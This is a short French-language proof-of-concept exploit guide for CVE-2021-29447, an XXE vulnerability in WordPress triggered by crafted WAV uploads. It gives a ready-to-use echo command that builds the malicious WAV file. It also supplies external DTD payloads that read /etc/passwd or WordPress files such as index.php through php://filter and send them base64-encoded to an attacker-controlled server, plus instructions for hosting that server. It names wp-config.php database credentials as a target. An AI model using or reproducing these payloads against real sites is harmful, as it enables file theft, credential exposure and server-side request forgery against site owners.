
Preuve de concept d'exploitation pour CVE-2021-29447, une vulnérabilité XXE de WordPress permettant la divulgation arbitraire de fichiers et une SSRF via des fichiers WAV spécialement conçus.
Divulgation arbitraire de fichiers : le contenu de tout fichier sur le système de fichiers de l'hôte pourrait être récupéré, par exemple wp-config.php qui contient des données sensibles telles que les identifiants de base de données. Falsification de requête côté serveur (SSRF) : des requêtes HTTP pourraient être effectuées au nom de l'installation WordPress. Selon l'environnement, cela peut avoir un impact sérieux. Exploitation de la vulnérabilité
Un site WordPress affecté par cette vulnérabilité a été identifié lors du processus d'énumération à l'aide de l'outil wpscan.

C'est très simple, dans votre console bash
nano poc.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURSEVERIP:PORT/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Sur votre machine attaquante, créez un fichier dtd avec le code exécuté sur le serveur web.
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
Remarque : pour lire les fichiers WordPress, utilisez la syntaxe "../WP-FILE.php"
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../index.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
Hébergez un serveur python dans le répertoire des fichiers (python3 -m http.server 8081)